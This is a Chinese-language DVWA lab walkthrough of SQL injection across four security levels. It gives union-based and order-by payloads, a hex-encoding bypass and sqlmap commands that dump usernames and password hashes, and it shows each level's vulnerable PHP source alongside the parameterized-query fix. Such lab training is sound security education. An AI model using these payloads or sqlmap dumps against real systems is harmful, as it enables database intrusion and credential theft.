网络安全 DVWA通关指南 SQL Injection(SQL注入)

news2024/12/25 1:15:41

DVWA SQL Injection

文章目录

  • DVWA SQL Injection
    • Low
    • Medium
    • High
    • Impossible

SQL注入漏洞基本原理

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。

可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

防御方法

使用参数化查询。

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

避免数据变成代码被执行,时刻分清代码和数据的界限。

Low

一、判断提交方式

在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。

提问:get和post提交方式对SQL注入的实施有什么影响?

image-20240408153605723

二、判断服务器处理类型(数字型或字符型)

加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入

image-20240411212414415

三、判断注入点

提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点

1' or 1=1#

image-20240411213036653

四、判断列数

使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。

1' order by 1#
1' order by 2#
1' order by 3# 

image-20240411214439810

image-20240411214409610

image-20240411214320827

当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2

五、提取库名、表名、字段名、值

1、提取库名

依据前一步得到的列数构建注入语句,得到数据库名dvwa

1' union select 1,database()#

image-20240411214816515

2、提取表名

通过注入攻击来获取名为’dvwa’的数据库中的所有表名

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

//information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。
//"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。

当提交注入语句时,可能出现如下错误信息:

Illegal mix of collations for operation 'UNION'

image-20240411220050884

这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。

解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集

alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
//将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci

修改完毕后,命令执行成功

image-20240411221106229

3、提取字段名

通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。

1' union select 1,column_name from information_schema.columns where table_name='users'#

image-20240412083706100

4、提取值

从数据库表 users 中提取 userpassword 字段的数据

1' union select user,password from users#

执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集

image-20240412083801374

alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;

执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密

image-20240412084253957

image-20240412111534464

六、SQLmap工具使用

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"

image-20240412103446366

image-20240412103645411

image-20240412104023272

1、提取库名

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs

image-20240412104144581

2、提取表名

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables

image-20240412104236250

3、提取字段名

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns

image-20240412104324776

4、提取值

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump

image-20240603085905398

七、分析后台脚本

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
<?php

// 检查是否有"Submit"按钮被点击
if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // 获取用户输入的ID
        $id = $_REQUEST[ 'id' ];

        // 构建SQL查询语句
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        // 执行SQL查询
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // 处理查询结果
        while( $row = mysqli_fetch_assoc( $result ) ) {
                // 获取查询结果中的名字和姓氏
                $first = $row["first_name"];
                $last  = $row["last_name"];
    
                // 拼接输出结果
                $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        // 关闭数据库连接
        mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>

Medium

1、修改电脑代理服务器IP设置为127.0.0.1,端口设置为8888,Bur调整代理参数与电脑代理一致

image-20240412094734133

image-20240412095237028

image-20240412094536046

2、在DVWA中尝试提交一个ID,在BurpSuite的repeater中查看捕获到的提交信息。使用BurpSuite的repeater模块可以重复发送数据,查看返回数据。

image-20240412095327893

image-20240412095418437

image-20240412095516476

image-20240412095727503

3、确认列数

4 order by 1#
4 order by 2#
4 order by 3#

image-20240412095859327

image-20240412095934153

4、库、表、字段、值

4 union select 1,database()#
//得到库名
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
//得到表名
4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#
//得到字段
4 union select user,password from users#
//得到值

提取库名

4 union select 1,database()#

image-20240412101400469

提取表名

注入语句发现单引号被转义,使用BurpSuite的Decoder模块,将'dvwa'转为16进制,自行添加0x

4 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

image-20240412101948084

image-20240412102504354

image-20240412102654211

提取字段名

4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#

image-20240412102804247

提取user、password的值

4 union select user,password from users#

image-20240412102914074

SQLmap工具使用

将第一步抓到的数据保存在桌面,命名为1.txt文件

image-20240603112004596

使用-r参数指定文件路径。

sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch --dbs
// -r REQUESTFILE      从文件中读取 HTTP 请求

image-20240603101812626

操作步骤与前面一致,最后得到user、password数据

sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch -D dvwa -T users -C user,password --dump

image-20240603102226671

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    //ysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
    //在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Display values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

High

1、点击链接弹出小窗,提交1,使用BurpSuite抓包。

image-20240603092627559

image-20240603092835322

尝试放包,回显信息出现在原页面

image-20240603093053482

2、注入方式与Low、Medium级别一致,最后得到user、password数据

1' union select user,password from users#

image-20240603093607403

SQLmap工具使用

因为提交数据与回显数据的页面不同,所以需要添加第二个回显地址。将第一步抓到的数据保存在桌面,命名为1.txt文件,使用-r参数指定文件路径。--second-url参数指定会先页面URL。

sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch --dbs

image-20240603100335290

操作步骤与前面一致,最后得到user、password数据

sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch -D dvwa -T users -C user,password --dump

image-20240603101120077

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);		
}

?>

Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
       // Check the database
       $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
       $data->bindParam( ':id', $id, PDO::PARAM_INT );
       $data->execute();
       $row = $data->fetch();

       // Make sure only 1 result is returned
       if( $data->rowCount() == 1 ) {
          // Get values
          $first = $row[ 'first_name' ];
          $last  = $row[ 'last_name' ];

          // Feedback for end user
          $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
       }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1832095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RockChip Android12 Settings一级菜单

一:概述 在之前的文章中对Android8.1 Settings的流程进行了说明,本章将针对Android12 Settings一级菜单的加载逻辑进行详细说明,Settings版本之间的差异不是很大,有兴趣的同学可自行学习,本文不在做赘述。 Android8.1 Settings说明:RockChip Android8.1 Settings-CSDN博…

浏览器开发公司Brave 将自己的搜索结果与其 Leo AI 助手集成

Brave Software是一家开发浏览器的公司&#xff0c;其主要产品是Brave浏览器。Brave浏览器基于Chromium项目开发&#xff0c;具有高性能和隐私保护的特点。此外&#xff0c;Brave浏览器还提供了“off record”模式&#xff0c;允许用户在不记录浏览历史的情况下使用浏览器。关于…

Cisco Packet Tracer实验(五)不同vlan间的通信简单配置

1&#xff0e;单臂路由(图) 环境&#xff1a;一台路由器&#xff0c;一台二层交换机&#xff0c;两台pc机 单臂路由&#xff08;Single Arm Routing&#xff09;是指在网络架构中&#xff0c;只有一个物理接口&#xff08;单臂&#xff09;连接到路由器三层交换机&#xff0c;而…

电脑微信聊天记录监控要怎么做?找谁找?

电脑微信聊天记录的监控通常涉及到使用特定的监控软件&#xff0c;这些软件设计用于企业管理和网络监控&#xff0c;以确保工作场所的通信安全和提高工作效率。以下是进行电脑微信聊天记录监控的一般步骤和建议&#xff1a; 如何进行监控&#xff1a; 1.明确目的与合法性&…

计算机组成原理之存储器(二)

文章目录 随机读写存储器RAM静态MOS存储单元与存储芯片动态MOS存储单元与存储芯片 半导体存储器逻辑设计存储器的读写以及刷新存储器的读写动态存储芯片的刷新 随机读写存储器RAM 静态MOS存储单元与存储芯片 静态RAM用半导体管的导通和截止来记忆&#xff0c;只要不掉电&#x…

Transformer中的Self-Attention和Multi-Head Attention

2017 Google 在Computation and Language发表 当时主要针对于自然语言处理&#xff08;之前的RNN模型记忆长度有限且无法并行化&#xff0c;只有计算完ti时刻后的数据才能计算ti1时刻的数据&#xff0c;但Transformer都可以做到&#xff09; 文章提出Self-Attention概念&…

python学习笔记-06

函数进阶 1.无参数无返回值&#xff1a;这类函数往往用于提示信息打印 2.无参数有返回值&#xff1a;这类函数往往用于数据采集过程中 3.有参数有返回值&#xff1a;这类函数一般是计算型的 4.有参数无返回值&#xff1a;这类函数多用于设置某些不需要返回值的参数设置1.局部变…

实验2:RIPv2的配置

由于RIPv1是有类别的路由协议,路由更新不携带子网信息,不支持不连续子网、VLSM、手工汇总和验证等&#xff0c;本书重点讨论RIPv2。 1、实验目的 通过本实验可以掌握&#xff1a; RIPv1和 RIPv2的区别。在路由器上启动RIPv2路由进程。激活参与RIPv2路由协议的接口。auto-sum…

一个提问高下立见?国产AI大模型冲上扣子广场PK

以“国产GPTs”出名的扣子&#xff0c;做出了GPT没有的功能。 6月12日&#xff0c;字节跳动旗下的AI应用开发平台“扣子”&#xff08;Coze国内版&#xff09;悄悄上线了新功能“模型广场”。 扣子是AI应用开发平台&#xff0c;无论用户是否有编程基础&#xff0c;都可以在扣子…

OpenTiny CCF开源创新大赛赛事指南,助力你赢取10W赛事奖金

第七届CCF开源创新大赛在国家自然科学基金委信息科学部的指导下&#xff0c;由中国计算机学会&#xff08;CCF&#xff09;主办&#xff0c;长沙理工大学、CCF 开源发展委员会联合承办。大赛面向国家“十四五”开源生态发展战略布局&#xff0c;聚焦“卡脖子”软件领域以及人工…

clickhouse学习笔记(四)库、表、分区相关DDL操作

目录 一、数据库操作 1、创建数据库 2、查询及选择数据库 3、删除数据库 二、数据表操作 1、创建表 2、删除表 3、基本操作 ①追加新字段 ②修改字段类型或默认值 ③修改字段注释 ④删除已有字段 ⑤移动数据表&#xff08;重命名&#xff09; ⑥清空表 三、默认值…

【leetcode刷题】面试经典150题 , 27. 移除元素

leetcode刷题 面试经典150 27. 移除元素 难度&#xff1a;简单 文章目录 一、题目内容二、自己实现代码2.1 方法一&#xff1a;直接硬找2.1.1 实现思路2.1.2 实现代码2.1.3 结果分析 2.2 方法二&#xff1a;排序整体删除再补充2.1.1 实现思路2.1.2 实现代码2.1.3 结果分析 三、…

day12--150. 逆波兰表达式求值+239. 滑动窗口最大值+ 347. 前 K 个高频元素

一、150. 逆波兰表达式求值 题目链接&#xff1a;https://leetcode.cn/problems/evaluate-reverse-polish-notation/description/ 文章讲解&#xff1a;https://programmercarl.com/0150.%E9%80%86%E6%B3%A2%E5%85%B0%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B1%82%E5%80%BC.html 视频…

QT 的文件

QT 和C、linux 一样&#xff0c;也有自带的文件系统. 它的操作和C、c差不多&#xff0c;不过也需要我们来了解一下。 输入输出设备类 QObject 有一个子类&#xff0c;名为 QIODevice 类&#xff0c;如其名字&#xff0c;该类是管理所有输入输出设备的类。 比如文件、网络套…

Java获取本机IP地址的方法(内网、公网)

起因是公司一个springboot项目启动类打印了本机IP地址加端口号&#xff0c;方便访问项目页面&#xff0c;但是发现打印出来的不是“无线局域网”的ip而是“以太网适配器”ip&#xff0c;如下图所示 这样就导致后续本地起项目连接xxl-job注册节点的时候因为不在同个局域网下ping…

Arcgis投影问题

今天下载数据&#xff0c;右键查看属性&#xff0c;发现只有地理坐标系&#xff0c;在arcgis里面进行展示有点丑 怎么变成下面的&#xff1f; 步骤1&#xff1a;加载数据 打开ArcGIS Pro或ArcMap。在目录窗口中&#xff0c;右键点击“文件夹连接”或“文件夹”选项&#xff0c…

苹果的后来者居上策略:靠隐私保护打脸微软

01.苹果与微软相比更注重用户隐私 我一直是Windows的忠实用户&#xff0c;但微软疯狂地将人工智能融入一切&#xff0c;让我开始觉得应该咬咬牙换成Mac。 自小我几乎只用Windows电脑&#xff0c;所以我对MacOS一直不太适应。虽然Windows 11有其缺点&#xff0c;但总的来说&am…

设计四大基本原则的全面解析

每每问起设计四大基本原则&#xff0c;无论是蜚荣全球的业内大咖还是初出茅庐的张三李四&#xff0c;都会不约而同地告诉你一个答案&#xff1a;亲密性、对齐、重复、对比。 自罗宾威廉姆斯于《写给大家看的设计书》中提出后&#xff0c;四大基本原则涵盖了品牌、电商、包装、…

【数据结构初阶】--- 堆

文章目录 一、什么是堆&#xff1f;树二叉树完全二叉树堆的分类堆的实现方法 二、堆的操作堆的定义初始化插入数据&#xff08;包含向上调整详细讲解&#xff09;向上调整删除堆顶元素&#xff08;包含向下调整详细讲解&#xff09;向下调整返回堆顶元素判断堆是否为空销毁 三、…

时间同步概念及常见的时间同步协议NTP PTP

一、前言 前面几篇文章介绍了Linux中的各种各样的时间、时钟源以及时间维护的方式&#xff0c;其中在timekeeper等数据结构中&#xff0c;我们当时略过了NTP相关的字段&#xff0c;为了补充这一段内容&#xff0c;从本篇开始会介绍时间同步的基本概念、及常见的时间同步协议&am…